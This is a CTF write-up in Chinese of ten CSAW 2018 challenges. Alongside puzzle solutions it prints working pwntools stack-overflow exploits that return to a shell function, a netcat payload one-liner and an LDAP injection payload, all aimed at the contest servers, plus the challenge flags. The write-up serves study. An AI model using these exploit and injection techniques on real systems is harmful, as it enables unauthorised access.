2018-CSAW writeups

第一次做这样的新题目 做不出几道感觉无从下手 记录一下补题情况

  • 1.Twitch Plays Test Flag

思路:签到
answer:flag{typ3_y3s_to_c0nt1nue}

  • 2.bin_t

思路:AVL树的插入 队友发现可以先去重再插入(用C++,写的多一点)
下面给了python的
调用别人写好的函数
https://github.com/pgrafov/python-avl-tree/blob/master/pyavltree.py
2018-CSAW writeups_第1张图片
code:

from pwn import *
from pyavltree import AVLTree

r = remote("misc.chal.csaw.io", 9001) # 连接服务器的命令
r.recvline()  #接受一行废话
numbers = [int(x) for x in r.recvline().split(",")] #将接受到的数组除去逗号后转成list
r.recvline()  # 接受一行废话

tree = AVLTree(numbers)  #调用函数构造树

r.sendline(",".join([str(x) for x in tree.preorder(tree.rootNode)]))
print r.recvall()

answer:flag{HOW_WAS_IT_NAVIGATING_THAT_FOREST?}

  • 3. babycrypto

思路:加密算法: 先解密base64 再异或解密
从 single yeet yeeted with single yeet == 0 x^x=0
code:

from base64 import b64decode
ss = "s5qQkd+WjN+e34+NkJiNnpKSmo3fiJeQ356Mj5aNmozfi5DfnI2anoua34+NkJiNnpKM34uXnovfl5qTj9+PmpCPk5rfm5Dfk5qMjNHft5rfiJ6Ri4zfi5Dfj4qL356Ki5CSnouWkJHfmZaNjIvT356Rm9+MnJ6Tnp2Wk5aLht+ek5CRmIyWm5rR37ea35uNmp6SjN+Qmd+e34iQjZOb34iXmo2a34uXmt+akZuTmoyM356Rm9+Ll5rflpGZlpGWi5rfnZqckJKa342anpOWi5aajN+LkN+SnpGUlpGb09+ekZvfiJeajZrfi5ea34uNiprfiZ6TiprfkJnfk5aZmt+WjN+PjZqMmo2JmpvRmZOemISblpmZlprSl5qTk5KekdKYz4+XzI2FjZ6wps61npPLnLeeuabGrKithr6uyZ63gg=="
ciphertext = b64decode(ss)
for i in range(256):
	s = ""
	for j in range(len(ciphertext)):
		s += chr(ord(ciphertext[j])^i)
	if "flag{" in s:
		print i
		print  s

answer:flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}

  • 4. algreba

思路:服务器返回一个等式 让你求出X 刚开始以为只有加减乘除 后来发现自己还是太年轻
code:

from pwn import *
from re import *
r = remote("misc.chal.csaw.io",9002)
r.recvuntil("***")
print r.recvline()
while True:
	toSolve = r.recvline()
	print toSolve
	print r.recvuntil("What does X equal?: ")
	temp = toSolve.replace("=","-(")+")"
	c=eval(temp,{"X":1j})
	ans = 0
	if c.imag != 0:
		ans = -c.real/c.imag
	r.sendline(str(ans))
	print r.recvline()

answer:flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}

  • 5. simple_recovery

思路:windows 下利用findstr 命令查找文本串
先解压
cmd :
findstr "flag" disk.img

another solution
ubuntu 下
$ 7z x disk.img0.7z
$ 7z x disk.img1.7z
$ rg -a -e "flag\{"
7z 解压然后 rg~
rg下载
参考https://github.com/BurntSushi/ripgrep 超快!查找大文件
$ curl -LO https://github.com/BurntSushi/ripgrep/releases/download/0.10.0/ripgrep_0.10.0_amd64.deb
$ sudo dpkg -i ripgrep_0.10.0_amd64.deb
code:
None

answer:flag{dis_week_evry_week_dnt_be_securty_weak}

  • 6. bigboy

思路: 静态分析 拖到ida里看main函数
动态跟踪
gdb -q ./boi
pdisas main
b* 0x00000000004006a8 cmp xx with xx
r
x/40wx $rsp
2018-CSAW writeups_第2张图片
2018-CSAW writeups_第3张图片

我们发现偏移为20 所以只要把前面20字节用垃圾值填充 后面的用正确的答案填充即可

code:

from pwn import *
r = remote("pwn.chal.csaw.io","9000")
r.recvuntil("***")
print r.recvline()
r.recvline()
addr = "\xee\xba\xf3\xca"
payload = "A"*20+addr
r.sendline(payload)
print r.recvline()
r.interactive()

or 暴力填充6次
python2 -c 'from pwn import *; print p32(0xCAF3BAEE) * 6; print "cat flag.txt"'| nc pwn.chal.c saw.io 9000

answer:flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}

  • 7. A Tour of x86 - Part 1

思路: 下载文件 阅读 搜索problem查看所有问题位置 然后

code:
None
xor dh, dh ; <- Question 1 0x00

mov dx, 0xffff ; Hexadecimal
not dx 0x0000
mov gs, dx ; to use them to help me clear <- Question 2 问题让你输出1个字节 so 0x00

mov cx, 0 ; line 107
mov sp, cx ; line 149
mov si, sp ; Source Index <- Question 3 两个字节 0x0000

mov al, 't'
mov ah, 0x0e ; <- question 4 两个字节ax:0x0e74

mov al, [si] ;
mov ah, 0x0e ; <- Question 5! 两个字节 0x0e61 将字符串第一个字节放到了低位
code:
vim 1.txt 写入
0x00
0x00
0x0000
0x0e74
0x0e61
nc rev.chal.csaw.io 9003 < 1.txt
answer:flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}

  • 8. Get It?

思路: 下载文件 gdb调试 + IDA静态分析
推荐gdb-peda 这里不赘述
gdb
file get_it加载文件
info functions 显示所有函数
发现有个函数名字为give_shell
disassem give_shell 看一下函数 显然我们通过这个可以拿到shell
因此只要利用格式化字符串漏洞将栈的返回地址覆盖为give_shell的地址 那么我们的任务就完成了
接下来需要判断栈的返回地址在哪
在main的汇编代码中
0x00000000004005e0 <+25>: lea rax,[rbp-0x20]
0x00000000004005e4 <+29>: mov rdi,rax
0x00000000004005e7 <+32>: mov eax,0x0
0x00000000004005ec <+37>: call 0x4004a0 gets@plt
我们发现gets接受了字符串之后写入到rbp-0x20开始的地址中
rbp就是栈的base point(基地址)啦
栈的布局
00000000: 0x4141414141414141 AAAAAAAA // 0 需要8
00000008: 0x4141414141414141 AAAAAAAA // 8 需要8
00000010: 0x4141414141414141 AAAAAAAA // 16 需要8
00000018: 0x4141414141414141 AAAAAAAA // 24 需要8
00000020: 0x4f4c4453544b4652 OLDSTKFR // 32 <- RBP 这里也要填满 需要8
00000028: 0x52455455524e4144 RETURNAD // 40 填成give_shell的地址

因此前面40个垃圾值填充 后面的填成give_shell的地址就好啦

code:

from pwn import *
r = remote("pwn.chal.csaw.io",9001)
print r.recvline()
shell_addr = 0x00000000004005B6
r.sendline('A'*40+p64(shell_addr))
print r.recvline()
r.interactive()

answer:flag{y0u_deF_get_itls}

  • 9. ldab

思路: google + github
网站点进去发现就是一堆列表 搜索题目名字 发现有idab injection 直接搜
相关的payload 一个个尝试
code:
None
*)(uid=*))(|(uid=*
answer:flag{ld4p_inj3ction_i5_a_th1ng}

  • 10. Short Circuit

思路: 普通电学
比赛的时候没做出来 其实很简单的哇 不要一股脑写01再解密 边解密边写!
电线连到主干上的状态写一下即可
2018-CSAW writeups_第4张图片
code:
None
answer:flag{owmyhand}

你可能感兴趣的:(CTF)